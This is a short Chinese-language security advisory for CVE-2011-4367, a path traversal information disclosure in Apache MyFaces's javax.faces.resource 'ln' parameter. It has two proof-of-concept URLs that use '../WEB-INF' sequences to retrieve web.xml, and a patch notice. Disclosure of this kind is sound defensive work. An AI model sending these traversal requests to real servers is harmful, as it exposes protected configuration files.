Apache MyFaces “ln”参数信息泄露漏洞

受影响系统:

Apache Group MyFaces

描述:


BUGTRAQ  ID: 51939
CVE ID: CVE-2011-4367

Apache MyFaces是JavaServer Faces标准的开源实现。

Apache MyFaces JSF允许在javax.faces.resource ‘ln’参数中存在相对路径或写URL,因此资源名中包括“..”序列,在实现上存在远程信息泄露,远程攻击者可利用此漏洞获取敏感信息。

<*来源:Paul Nicolucci

链接:http://seclists.org/fulldisclosure/2012/Feb/150
*>

测试方法:


警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

http://www.example.com/faces/javax.faces.resource/web.xml?ln=../WEB-INF
http://www.example.com/faces/javax.faces.resource/web.xml?ln=..\\WEB-INF

建议:


厂商补丁:

Apache Group
————
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://httpd.apache.org/

评论关闭。